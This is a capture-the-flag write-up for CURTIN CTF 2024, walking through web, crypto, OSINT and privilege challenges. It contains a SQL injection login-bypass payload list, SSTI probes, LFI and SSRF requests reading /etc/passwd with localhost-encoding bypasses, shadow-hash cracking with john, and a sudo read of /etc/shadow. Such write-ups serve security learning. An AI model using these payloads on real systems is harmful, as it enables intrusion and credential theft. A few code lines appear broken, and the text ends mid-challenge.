CURTIN CTF 24 HOURS
Introduction
In this write-up, I will be sharing my experience and insights from the CURTIN CTF 2024 that took place on 12-13/10/2024 . The challenge was hosted by Curtin University Malaysia.
Challenge Overview
The challenge consisted of several tasks, including Web Exploitation, Crypto, Osint ,Misc , Forensic And Stego, Reverse Engineering and etc.
lets get started one by one of this challenges!
1.EASY LOGIN
First given this login page we can try to go for admin users to retrieve the flag. So based on this we know that the username is admin but the password is remaining unknown. So i search for the sql injection bypass admin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
And setup in intruder burp and see the response and we got the flag
1
flag:CURTIN_CTF{sql_1nj3ct1on_v1ct0ry}
2.CRUMB TRAILS
To get the flag we can analyze the cookies and we can see the cookie value is set to vanilla.SO to get the flag we need to change it to chocolate and we get the flag.
1
flag:CURTIN_CTF{c00kies_cutt3r_is_c00l}
3.VALUABLE FEEDBACK
So i try to xss using this payload
1
<scirpt>alert(1)</script>
And it pops out but there’s is nothing to do with xss and i do further analysis and try SSTI.So i try this payload from the
1
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
1
2
3
4
5
${7*7}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
And it works. It pops out at /fetch 49 which is vulnerable to SSTI .sorry i unable to capture the other how I got the flag but this is the payload that I use to be able to get the flag.
1
flag:CURTIN_CTF{t3mpl4t3s_ar3_e4sy_t0_cr4ck}
4.SNEAKY SOURCE
Next for this chall lets go through burp and i can identified that the chall is vulnerable to LFI(Local File Inclusion)
request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /fetch HTTP/1.1
Host: 18.143.108.145:8003
User-Agent: <?php system('cat /flag.txt'); ?>
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,ima
ge/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://18.143.108.145:8003
Connection: keep-alive
Referer: http://18.143.108.145:8003/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
url=file:/../../../etc/passwd
So based on this req i has able to see /etc/passwd and i saw the website is using flask and lets identified the flag maybe in /app
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /fetch HTTP/1.1
Host: 18.143.108.145:8003
User-Agent: <?php system('cat /flag.txt'); ?>
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,ima
ge/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Origin: http://18.143.108.145:8003
Connection: keep-alive
Referer: http://18.143.108.145:8003/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
url=file:///app/flag.txt
1
flag:CURTIN_CTF{S3rver_S1de_Surf1ng}
5.INTERNAL VIEW
So the webpage is similar like the previous challenge but it said that the flag is stored in /internal/flag .So its mean that the localhost can view i pop out my strategy to get the flag
1
x-forwaded-for:127.0.0.1 -> to bypass localhost access
based on this ref:https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass
1
2
3
4
5
6
# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001
So based on this i craft my payload like this
request in burp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /fetch HTTP/1.1
Host: 54.255.171.153:8005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101
Firefox/131.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,ima
ge/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Origin: http://54.255.171.153:8005
Connection: keep-alive
Referer: http://54.255.171.153:8005/
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 10.0.0.1
Priority: u=0, i
url=http://127.0.0.1:5000/internal/flag
respond
1
2
3
4
5
6
7
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.8.20
Date: Sat, 12 Oct 2024 14:29:35 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 34
Connection: close
Access to localhost is restricted.
To bypass this just use the payload given to access the localhost
1
payload:url=http://0x7f000001:5000/internal/flag
1
flag:CURTIN_CTF{s3rv3rs_4re_n0t_so_busy}
6.TRIVIAL 2
We are given two files contains challenge.txt and challenge.py. So i wrote a python code to reverse the encryption process and get the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import math
# Encrypted list provided
encrypted_list = [4490, 7226, 6725, 7057, 5330, 6085, 9026, 4490, 7057, 4901, 15130, 9605, 2705, 9802, 11450, 9026, 3026, 2305, 9026, 12997, 2305, 2305, 3026, 13226, 15626]
# Decryption process
def decrypt(encrypted_list):
decrypted_chars = []
for encrypted_value in encrypted_list:
# Reverse the encryption formula: x = sqrt(E(x) - 1)
decrypted_value = int(math.sqrt(encrypted_value - 1))
decrypted_chars.append(chr(decrypted_value)) # Convert ASCII to character
return ''.join(decrypted_chars)
# Get the decrypted flag
decrypted_flag = decrypt(encrypted_list)
print("Decrypted flag:", decrypted_flag)
Then run the code
1
2
3
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ python3 trivial.py
Decrypted flag: CURTIN_CTF{b4ck_70_r007s}
7.BLUFF
So we are given two files and and make a python script to decode the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import itertools
# Encrypted flag from enc_flag.txt
enc_flag = [66, 188, 199, 131, 75, 166, 245, 147, 87, 161, 232, 166, 114, 223, 228, 181, 118, 222, 226, 239, 115, 209, 241, 235, 63, 212, 169, 236, 65, 214, 173, 239, 59, 108]
# Function to decrypt based on a given key
def decrypt(enc_flag, key):
decrypted_flag = []
key_len = len(key)
for i in range(len(enc_flag)):
chunk = i // key_len
offset = i % key_len
decrypted_char = (enc_flag[i] ^ key[offset]) - chunk
decrypted_flag.append(chr(decrypted_char))
return ''.join(decrypted_flag)
# Brute force all possible 4-byte keys (32-bit key space: 256^4 possible keys)
# Limiting to ASCII-printable characters as a quick filter
possible_keys = itertools.product(range(256), repeat=4)
# Testing each possible key
for key in possible_keys:
key_bytes = [int(k) for k in key]
try:
flag = decrypt(enc_flag, key_bytes)
# Check if the flag starts with "CURTIN_CTF{" and ends with "}"
if flag.startswith("CURTIN_CTF{") and flag.endswith("}"):
print(f"Key: {key_bytes}, Flag: {flag}")
break # Exit once a valid flag is found
except:
continue # Ignore errors in decryption process
execute the code and we got the flag
1
2
3
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ python3 bluff.py
Key: [1, 233, 149, 215], Flag: CURTIN_CTF{op3n_s3s4m3_7876598112}
8.AMALGAM
So we are given this two file and i make a script to decode this
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from sympy import mod_inverse, discrete_log
# Given values (replace these with the values from your file)
p = 186506814954895414068796533711441426871 # Prime number
g = 2 # Base
h = 128780011407215156870232600336696679553 # Public key
c1 = 156581689710555992734938659724336258165 # First part of the encrypted flag
c2 = 113787733820173627914147318932861607685 # Second part of the encrypted flag
# Step 1: Solve for the private key 'x' using discrete logarithm
x = discrete_log(p, h, g)
# Step 2: Compute the shared secret 's' using c1 and the private key x
s = pow(c1, x, p)
# Step 3: Calculate the inverse of 's' modulo p
s_inv = mod_inverse(s, p)
# Step 4: Decrypt the message m
m = (c2 * s_inv) % p
# Print the flag
print(f"CURTIN_CTF}")
then we got this
1
2
3
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ python3 elgamal.py
CURTIN_CTF{31079444516244885935187311145}
This is not the end we need to decode the value to obtain the real flag so i wrote a script
1
2
3
4
5
6
7
8
9
10
decrypted_number = 31079444516244885935187311145
flag_bytes = decrypted_number.to_bytes((decrypted_number.bit_length() + 7) // 8, 'big')
flag = flag_bytes.decode('utf-8', errors='ignore')
formatted_flag = f"CURTIN_CTF}"
print(formatted_flag)
then we got the real flag
1
2
3
4
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ python3 elgamal2.py
CURTIN_CTF{dlP_50lv3d:)}
9.RSA1
Using sagemath to put all these parameter to get p and q
ref:https://sagecell.sagemath.org/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Given parameters
n = 15940880393081622192223979546417668454241001094105696491631845740319699779637868921818468662546538526734159459987929569646758157949726050092327261607567477210838728560641007932591472048341979229227000996158864820326472140369536128940011407532021392192858059263128347413516277627338557773943130473619144266602819768289316894685127758747023625922861716983808957650638526747245869728390450745710053889903365620164261097827034696518433301946463145635387673172039280459108906156350531065067336803176395966402871830286192577088734549689317831281599635132619523883607065807674352024907150268276243231669001306391571889664767000269740644816918518242783451143038482044617197372383969811690923359599584060183246684500682839727818817572623643916667956119711025923398568092705131007640437009630310461215618002687681148614450537994685732723364660314199425405823518030479379304998927941434491041698761309565206754369009655472934744341914827525943272586954251730078614382895749955996740380235107223902027659741996429282861891673085104147370045405961294099732979678272773826599016536412578932433904030505154999176517839833260039964597955076704762201524866516857761405360622930516491985930417948661249000621996356980915282995033583482641405828363443819241154399820186471985527636315446103596671058367866892705878909337399021378085620148416281726544652130913248870503306604860069279648074721897994731666127511897571565176702890871406233528233764474842435353662824803774230985170155102399526678113553185926581547531929458018714491649785151228464354683945162919888238078818142664891976580283043168793532818976641325908588559452360271093536728188468093955635851427400246135873082132120043700880049057114037825152222836929555281795129395718413678801035220085447886467326801984191156595256589818613913229363820848876188943510988155897845879797538033623007410622942705920928531297122355664722115432967894109638655871697467544954570368089729236699347314122966944234115811880321161988925755790917881868951745905665036446036114588885458572324261723207406410695928509493222079503841942661183609924325963288751971513447161960665796967979143891190229029219582316717531133448823477925219559046895187452616687163842512991459142565797945381440167111698245672180570103015392203883682050472726311220309044957019444576289519199490560422919525648997774693485847722051397914538064633576600336792092599951404116951597102344146970626745993023933325515868962556368207329326367871452331540970273987458930797
diff_pq = 19446185665001932891863123565802286467991322014746876964013701369322897657444386633296616696168267366199920908214861667183967127865711481276497998516475134987986234107252897362882360257060819274323493441003279977951185789618655911147638408200310708832863210179986939189277431934841758094681397206297269204946733155416228404475101349159647712893882998644638490972589384447685758296695943696378904740865372847834754012806961145339009705107364366305272446432151468385174168203082509791808125524328759572433089974565599380134406580709133277810467919601298087724371283440367928548920207922728843966255605792638884428157104036042309966679145466135156678157063068138401063208639819013053445933650327463224033606491166029807779049310851321687425814592777852113728121194401684278386654197915094379386331968569071047319013960290729128040322044194139995761548185543015779153245806933487262288281397595328529970986231707560121231845029590674493616017456787804838794787286983295028461473824879025799162116310309820208035189596601045522614202811245581151461360787349910512422879586756376900659196002122475214220004775212001355945966793757926005189263687454876821065812893701132511947238001771844876788216681670235849206704991988163485611260844
# Step 1: Solve for p and q
# Compute the square root term for the quadratic equation
from sage.all import sqrt
a = (diff_pq**2 + 4 * n)
sqrt_a = sqrt(a)
# Solve for p and q
p = (diff_pq + sqrt_a) // 2
q = p - diff_pq
p, q
then we got the value of p and q i make a python script to decrpyt the RSA algorithm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('Modular inverse does not exist')
else:
return x % m
e = 65537
p = 126266922838510990418834451038173737316912460754135130993306242917458723243304974794951812583891515412302309388251709451923876295035163156890565758637242948093838201781963752195826090831993187927366541750162366483837451197350991345952194618117940293299973829431057753468950042191761409197840716446959210930593248010246027832088823304773890242174098854561380474437521255676209721507395362735121671447848847144086413308623064331470538304019576659195052506897847076006579161130624612940877127374089380113567331244698643416618427737976142424654767011099546142235408299067514822392799616906941328250561752506045868899608796221748484384926183819201547537843020422826563196461186929914450921289354732421155077133740232524304869416754322550378375466859674782288384668443420001419905666174175433796068041755613723214516644667680392978300128179411128831535446985963153625953318475395127387978854427620726796558229593508586638621749453679799094182207869589735757690992918943044932245947751634833855034904912038620345624125086967409838819378957187204469226648864495175764537483900105634405044602242377058439901418017647779492020837109070949225352440993027471059547048915110931202578439810563721283633458225096784284947132172606341074188346312031
q = 126247476652845988485942587914607935030444469432120384116342229216089400345647530408318515967195347144936109467343494590256692327907297445409289260638726472958850215547856499298463208471736127108092218256721363203859500011561372690041046979709739982591140966220877766529760764759826567439746035049752913661388301277090611603684348203424730594461204971562735835946548666291762035749098666791425292543107981771238578554610257370325199294314469294828747234451414924538193986962421530431085319248565051353994898154724077817238293331395433291376956543179944844147683927784074454464250696699018599406595496900253230015180639117712442074959504673735412381164863359758424795397978290095437867843421082093691853100133741358275061637705011699056688041045082004436270940322225599735627279519977518701688655423645154143469325653720102249172087857366934691539685437777610610174165229588193900716566146223131468028258607276879078500517608650208419688591852132947952852198131656061637217486277809954829235742795728310525416089897370808793296764754375958888075187503707825854025061020518878028143943046374935964687198012872567490664891142277191299347251729340016182725983102217230070066492572561949438756670008415114049097925467614352910702735051187
n = 15940880393081622192223979546417668454241001094105696491631845740319699779637868921818468662546538526734159459987929569646758157949726050092327261607567477210838728560641007932591472048341979229227000996158864820326472140369536128940011407532021392192858059263128347413516277627338557773943130473619144266602819768289316894685127758747023625922861716983808957650638526747245869728390450745710053889903365620164261097827034696518433301946463145635387673172039280459108906156350531065067336803176395966402871830286192577088734549689317831281599635132619523883607065807674352024907150268276243231669001306391571889664767000269740644816918518242783451143038482044617197372383969811690923359599584060183246684500682839727818817572623643916667956119711025923398568092705131007640437009630310461215618002687681148614450537994685732723364660314199425405823518030479379304998927941434491041698761309565206754369009655472934744341914827525943272586954251730078614382895749955996740380235107223902027659741996429282861891673085104147370045405961294099732979678272773826599016536412578932433904030505154999176517839833260039964597955076704762201524866516857761405360622930516491985930417948661249000621996356980915282995033583482641405828363443819241154399820186471985527636315446103596671058367866892705878909337399021378085620148416281726544652130913248870503306604860069279648074721897994731666127511897571565176702890871406233528233764474842435353662824803774230985170155102399526678113553185926581547531929458018714491649785151228464354683945162919888238078818142664891976580283043168793532818976641325908588559452360271093536728188468093955635851427400246135873082132120043700880049057114037825152222836929555281795129395718413678801035220085447886467326801984191156595256589818613913229363820848876188943510988155897845879797538033623007410622942705920928531297122355664722115432967894109638655871697467544954570368089729236699347314122966944234115811880321161988925755790917881868951745905665036446036114588885458572324261723207406410695928509493222079503841942661183609924325963288751971513447161960665796967979143891190229029219582316717531133448823477925219559046895187452616687163842512991459142565797945381440167111698245672180570103015392203883682050472726311220309044957019444576289519199490560422919525648997774693485847722051397914538064633576600336792092599951404116951597102344146970626745993023933325515868962556368207329326367871452331540970273987458930797
c = 8413782726461541602913756039758305440836412287813773153411365960748450871027707633874217383295383481869325038078976781015007513229347097469371279220803204983355347655683513667088588074202501147594395702282334179124794781871517260250525536908326800965888418964918694916006884537543011229484376018147268919406195055917084790592479499766734576144082810933280877054789971671533919533660158408423424185650356318518379636823750893726233499500188843692055868151249687738386488534142892831049124956774899410006084346138710056812199825326206688966306714260750975121581835353985336980114774232067155041193198180698246403870169981563849307541955386369149422881602494929264929737280150329566903466285149020311618967791172538171280546694675534389454765543724780546918668435019028064871754691532110565068615157319889820944033048902255664642773218099048574566017181575258546758883546492803137717155881557338843592209207689463957840581945426930837246385901477752907096376004160861031244782814843210961453696657150665127977305005202771961236999129828758134510593378918560947499235704939556050322382009751568420207568808891407979608313803205850457374203809188547053115181776254415319188681883447021017869446867989346915152852825019616081716802990396062469163243135351547702156800537851107924720649180003285840914409777322049074094783843649569729539066223970441125382806118498958261540756052860910490399082824953032938402516792174368475134992760224198700374390864316120110306938158921418121457620889268565760685238892212999604146465162867640041064499228386006681717471251254990717858562759770905947269460142594521881470262940835078829442425244723815621278919162516682158822798977763435125635963668626156334114464102838126493966355609183208192998531373143867887346353211910003642658203653385244836610494653921249974400825401880566797287387115572727756785284767721336001760816036988439334050351608229131590077522439493925221375259909629016262905916790128638258322194247479997220390050492289058204485034457313809723675617094812771640112394720404929279053643210561537233165368292934623525915746720648655418268587097359836671508455239599508020030055462133024501888962745878358260116256538476487838862369689123290204371877250090186672449934183327283618423893439031497798985471835874040738044268676828950640266922716836786100999406935131991385114491269400938094956780725144002766875279228699473643314965832833403460993564655225664279717054432748451778401574414898003066402168353796733750757
d = modinv(e,(p-1)*(q-1))
pl = pow(c,d,n)
#print (pl)
#print (hex(pl))
pl_hex = hex(pl)
print("Plaintext in hexadecimal:", pl_hex)
# Convert hexadecimal back to text
pl_text = bytes.fromhex(pl_hex[2:]).decode('utf-8')
print("Plaintext in text:", pl_text)
execute the code and we got the flag
1
2
3
4
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ python3 rsa.py
Plaintext in hexadecimal: 0x43555254494e5f4354467b31735f376831355f35306d333768316e675f63313073335f37305f6d346731633f7d
Plaintext in text: CURTIN_CTF{1s_7h15_50m37h1ng_c10s3_70_m4g1c?}
10.RSA2
we also give the file and i make a python script to decrypt it
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from sympy import factorint, mod_inverse
# Given RSA parameters
n = 38851370026688292718610500714047313275568128923880406032240694321386868708669715834849444005885071039350867771015411960409482332075714895130040955721609469707712307896329759118786126795971608203356413095211390559788430050833157008379312765193252778797982267208761085870346676464332871683194405356959302337269
c = 10261077771725074705657914043269356567599143194523440913396849942218293691678585398731563393613698000832185314817454466653490727661933561044428403796426278758420015350118130960938311896749919783987826137481434137155805830348623564782373093651077789955010753791725635501759033479236281331100713235218526738970
e = 65537
# Step 1: Factorize n into p and q
factors = factorint(n)
p = list(factors.keys())[0]
q = list(factors.keys())[1]
# Step 2: Compute phi(n)
phi_n = (p - 1) * (q - 1)
# Step 3: Compute the private key 'd'
d = mod_inverse(e, phi_n)
# Step 4: Decrypt the ciphertext
m = pow(c, d, n)
# Step 5: Convert the decrypted message (m) to bytes to reveal the flag
flag = bytes.fromhex(hex(m)[2:])
print("The flag is:", flag.decode())
execute the code and we got the next flag
1
2
3
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ python3 rsa2.py
The flag is: CURTIN_CTF{4_m4gn1fy1ng_gl455_w0n7_b3_n33d3d_for_sur3}
11.DANCE OF THE STREAM
given the file we analyze it and i make a python script to decode it
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import struct
import re
# Constants
FLAG_REGEX = r"CURTIN_CTF\{[A-Za-z0-9_]+\}"
def o_value(value):
o_kie = b'leomessi'
return bytes([b ^ o_kie[i % len(o_kie)] for i, b in enumerate(value)])
def q_r(a, b, c, d):
a = (a + b) & 0xFFFFFFFF
d = (d ^ a) << 16 | (d ^ a) >> (32 - 16)
c = (c + d) & 0xFFFFFFFF
b = (b ^ c) << 12 | (b ^ c) >> (32 - 12)
a = (a + b) & 0xFFFFFFFF
d = (d ^ a) << 8 | (d ^ a) >> (32 - 8)
c = (c + d) & 0xFFFFFFFF
b = (b ^ c) << 7 | (b ^ c) >> (32 - 7)
return a, b, c, d
def stream(key, nonce, counter):
state = [0] * 16
state[0] = 0x61707865
state[1] = 0x3320646e
state[2] = 0x79622d32
state[3] = 0x6b206574
state[4:6] = struct.unpack("<2L", key + b'\x00' * 6)
state[6:8] = [0] * 2
state[8:12] = [0] * 4
state[12] = counter
state[13] = nonce & 0xFFFFFFFF
state[14] = (nonce >> 32) & 0xFFFFFFFF
state[15] = 0
working_state = state[:]
for _ in range(20 // 2):
working_state[0], working_state[4], working_state[8], working_state[12] = q_r(
working_state[0], working_state[4], working_state[8], working_state[12]
)
working_state[1], working_state[5], working_state[9], working_state[13] = q_r(
working_state[1], working_state[5], working_state[9], working_state[13]
)
working_state[2], working_state[6], working_state[10], working_state[14] = q_r(
working_state[2], working_state[6], working_state[10], working_state[14]
)
working_state[3], working_state[7], working_state[11], working_state[15] = q_r(
working_state[3], working_state[7], working_state[11], working_state[15]
)
working_state[0], working_state[5], working_state[10], working_state[15] = q_r(
working_state[0], working_state[5], working_state[10], working_state[15]
)
working_state[1], working_state[6], working_state[11], working_state[12] = q_r(
working_state[1], working_state[6], working_state[11], working_state[12]
)
working_state[2], working_state[7], working_state[8], working_state[13] = q_r(
working_state[2], working_state[7], working_state[8], working_state[13]
)
working_state[3], working_state[4], working_state[9], working_state[14] = q_r(
working_state[3], working_state[4], working_state[9], working_state[14]
)
output = bytearray()
for i in range(16):
output.extend(struct.pack("<L", (working_state[i] + state[i]) & 0xFFFFFFFF))
return output
def stream_e(key, nonce, message):
keystream = bytearray()
for i in range(0, len(message), 64):
keystream.extend(stream(key, nonce, i // 64))
return bytes([m ^ k for m, k in zip(message, keystream)])
def try_decrypt_with_key(prng_key, nonce, ciphertext):
# Decrypt the message
decrypted_message = stream_e(prng_key, nonce, ciphertext)
# Convert to printable characters (ASCII range)
decrypted_str = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in decrypted_message])
# Check if the flag format exists in the decrypted message
flag_match = re.search(FLAG_REGEX, decrypted_str)
if flag_match:
return flag_match.group(0) # Return the flag
return None
# De-obfuscate the nonce
o_nonce_content = b'R}\x98\xb6b\x8f\xd7\x8c'
nonce = struct.unpack("<Q", o_value(o_nonce_content))[0]
# Ciphertext from the file
ciphertext = b'\x80\x8c\x85\xe6}\xe7Xj)v\x01\xe3\xf7\xb2\x04?\x82R3_\xac\x97\xcc\xa0\x9f\xc8\x8d\xcc\xb4\x92\xa0\x8f\xe9\x820\x92\xee{W~\xb9x\xb8\xba?\x07\xfe\xddU\x91\xcf\x88O'
# Brute force the PRNG key range (assuming it's small enough)
for key_candidate in range(0x0000, 0xFFFF): # Modify the range as needed
prng_key = struct.pack("<H", key_candidate) # 2-byte key
flag = try_decrypt_with_key(prng_key, nonce, ciphertext)
if flag:
print(f"Flag found: {flag}")
break
else:
print("Flag not found in the provided key range.")
the key here to bruteforce the value of PRNG and execute the code
1
2
3
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ python3 woo.py
Flag found: CURTIN_CTF{g0_s0lv3_7h3_57r34m_pr0bl3m_0f_1r0d0v_n0w}
12.THE PACKAGE
For this osint chall we are given thisi value:278154251425 and we need to find specific information of the package and submit the flag.
So the first thing i browse to this website to get the information
ref:https://www.ups.com/track?loc=en_US&requester=ST/
But nothing appear and i search google find out thats a fedex tracking number
ref:https://www.fedex.com/fedextrack/?trknbr=278154251425&trkqual=2460535000~278154251425~FX
And from here we got the information and compile it to the flag
1
flag:CURTIN_CTF{Beckton_12_08_2024_60_31_20}
13.CAR ON THE FIRE PART 1
We got the video contains information about the car accident of tesla . i just search straight away to google search and found this article
ref:https://www.bbc.com/news/world-us-canada-44511200
And the flag fulfill the requirement
1
flag:CURTIN_CTF{Michael_Morris}
14.CAR ON THE FIRE PART 4
So based on the video i try to find the original video from youtube,twitter and got this information and lets play geoosint.
Just need to find the exact location the car accident happen and you got this
ref:https://www.google.com/maps/@34.0908097,-118.358912,3a,75y,276.77h,79.02t/data=!3m6!1e1!3m4!1sDEcJzBwVrmxFe4qlAWVz2g!2e0!7i16384!8i8192?coh=205409&entry=ttu&g_ep=EgoyMDI0MTAwOS4wIKXMDSoASAFQAw%3D%3D
And we got the nearest food market
1
flag:CURTIN_CTF{Odessa_Grocery}
15.PASSWORD RECOVERY 1
So for this chall we need to get the password so we need to guess the password i think.. Just need to based on the hint given and it gives me like this.the hint clearly said that season and so i created a custom wordlist just trying my luck and also we have shadow that contains credential for alex
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import itertools
# Basic words related to Alex's love for seasons
seasons = ['Winter', 'Spring', 'Summer', 'Autumn']
years = ['2024', '2023', '2022', '2025']
# Function to generate variations
def generate_wordlist():
wordlist = set()
# Add seasons + years combinations (like Autumn2024)
for season, year in itertools.product(seasons, years):
wordlist.add(f"{season}{year}")
# Add some password variations with common patterns
special_chars = ['!', '@', '#', '$', '%', '&', '*', '?']
for word in list(wordlist):
for char in special_chars:
wordlist.add(f"{word}{char}")
# Return the wordlist
return wordlist
if __name__ == "__main__":
wordlist = generate_wordlist()
with open("custom_wordlist.txt", "w") as f:
for word in wordlist:
f.write(f"{word}\n")
print(f"Generated wordlist with {len(wordlist)} entries.")
Then i insert the hash into shadow.txt
1
2
3
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf/password]
└─$ cat shadow.txt
alex:$6$zQJpsubhFjkNXMvg$liKTdbnarlSFKKD3IMtdguHz6lyoYCyL/y6gcW6r5D2QZoPfdZom3u8l3XnzzEruyHFFdS1Ve45cZjDStx.9R1
And try to crack using custom wordlist that i created
1
2
3
4
5
6
7
8
9
10
11
12
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf/password]
└─$ john --wordlist=/home/hackboredzz/curtinctf/password/custom_wordlist.txt shadow.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Autumn2024! (alex)
1g 0:00:00:00 DONE (2024-10-13 19:30) 33.33g/s 4800p/s 4800c/s 4800C/s Winter2025&..Summer2024?
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Then i get the flag which is the password :
1
flag:CURTIN_CTF{Autumn2024!}
16.MISC 7
So for this chall i need to access to using the file its given and i rename it to id_rsa
To connect it we can use this comment
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ ssh -i id_rsa ubuntu@54.255.1.14
Last login: Sun Oct 13 02:47:58 2024 from 60.52.218.19
ubuntu@ip-172-31-46-50:~$
ubuntu@ip-172-31-37-234:~$ find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/snap/core18/2829/bin/mount
/snap/core18/2829/bin/ping
/snap/core18/2829/bin/su
/snap/core18/2829/bin/umount
/snap/core18/2829/usr/bin/chfn
/snap/core18/2829/usr/bin/chsh
/snap/core18/2829/usr/bin/gpasswd
/snap/core18/2829/usr/bin/newgrp
/snap/core18/2829/usr/bin/passwd
/snap/core18/2829/usr/bin/sudo
/snap/core18/2829/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2829/usr/lib/openssh/ssh-keysign
/snap/snapd/21759/usr/lib/snapd/snap-confine
/etc/security/print_file
ubuntu@ip-172-31-37-234:~$ /etc/security/print_file /home/ubuntu/flag
CURTIN_CTF{$3tU1D}
ubuntu@ip-172-31-37-234:~$
i saw this /etc/security/print_file so just execute this with the flag and we get the flag
1
flag:CURTIN_CTF{$3tU1D}
17.PASSWORD RECOVERY 2
So for this chall we neeed to access to the server
And we i get shell and saw the /etc/shadow and /etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ sudo /bin/more /etc/shadow
